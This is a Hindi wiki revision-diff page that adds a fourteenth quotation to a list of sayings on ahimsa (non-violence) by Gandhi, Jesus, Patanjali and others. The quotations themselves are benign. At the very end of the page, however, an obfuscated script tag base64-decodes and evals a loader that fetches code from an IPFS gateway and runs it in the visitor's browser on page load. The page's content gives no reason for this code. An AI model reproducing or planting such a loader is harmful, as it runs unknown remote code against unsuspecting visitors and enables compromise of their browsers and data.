Difference between revisions of "अहिंसा (सूक्तियाँ)"
Jump to navigation
Jump to search
| [unchecked revision] | [unchecked revision] |
गोविन्द राम (talk | contribs) |
|||
| Line 56: | Line 56: | ||
| सब प्राणियों के प्रति स्वयं को संयत रखना ही अहिंसा की पूर्ण दृष्टि है। | | सब प्राणियों के प्रति स्वयं को संयत रखना ही अहिंसा की पूर्ण दृष्टि है। | ||
| दशवैकालिक | | दशवैकालिक | ||
| + | |- | ||
| + | | (14) | ||
| + | | हिंसा से अशान्ति एवं पाशविकता का जन्म होता है ; अहिंसा से शान्ति, सद्भावना, मानवीयता एवं सामाजिकता का। जीव वैज्ञानिक दृष्टि से तो आदमी भी एक पशु है। अहिंसा की चेतना एवं भावना के कारण उसमें मानवीय एवं सामाजिक भावना का विकास हुआ है। | ||
| + | | महावीर सरन जैन | ||
|} | |} | ||
| − | |||
| − | |||
| − | |||
| − | |||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
Revision as of 07:32, 3 April 2014
| kramaank | sooktiyaan | sookti karta |
|---|---|---|
| (1) | us jivan ko nasht karane ka hame koee adhikar nahian jisake banane ki shakti hamame n ho. | mahatma gaandhi |
| (2) | apane shatru se prem karo, jo tumhe satae usake lie prarthana karo. | eesa |
| (3) | jab ko vyakti ahiansa ki kasauti par poora utar jata hai to any vyakti svayan hi usake pas akar bair bhav bhool jata hai. | patanjali |
| (4) | hiansa ke mukabale mean lachari ka bhav ana ahiansa nahian kayarata hai. ahiansa ko kayarata ke sath nahian milana chahie. | mahatma gaandhi |
| (5) | ‘ahiansa’ bhay ka nam bhi nahian janati. | mahatma gaandhi |
| (6) | ahiansa achchhi chiz hai, lekin shatruhin hona achchhi bat hai. | vimal mitr |
| (7) | ahiansa sarvottam dharm hai. | |
| (8) | ahiansa hi dharm hai, vahi ziandagi ka ek rasta hai. | mahatma gaandhi |
| (9) | ahiansa ka marg talavar ki dhar par chalane jaisa hai. jara si gaphalat huee ki niche a gire. ghor anyay karane vale par bhi gussa n karean, balki use prem karean, usaka bhala chahean. lekin prem karate hue bhi anyay ke vash mean n ho. | mahatma gaandhi |
| (10) | hamamean daya, prem, tyag ye sab pravrittiyaan maujood haian. in pravrittiyoan ko vikasit karake apane saty ko aur manavata ke saty ko ekaroop kar dena, yahi ahiansa hai. | bhagavaticharan varma |
| (11) | krodh ko kshama se, virodh ko anurodh se, ghrina ko daya se, dvesh ko prem se aur hiansa ko ahiansa ki bhavana se jito. | dayanand sarasvati |
| (12) | keval padh-likh lene se koee vidvan nahian hota. jo saty, tap, jnan, ahiansa, vidvanoan ke prati shraddha aur sushilata ko dharan karata hai, vahi sachcha vidvan hai. | ajnat |
| (13) | sab praniyoan ke prati svayan ko sanyat rakhana hi ahiansa ki poorn drishti hai. | dashavaikalik |
| (14) | hiansa se ashanti evan pashavikata ka janm hota hai ; ahiansa se shanti, sadbhavana, manaviyata evan samajikata ka. jiv vaijnanik drishti se to adami bhi ek pashu hai. ahiansa ki chetana evan bhavana ke karan usamean manaviy evan samajik bhavana ka vikas hua hai. | mahavir saran jain |
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>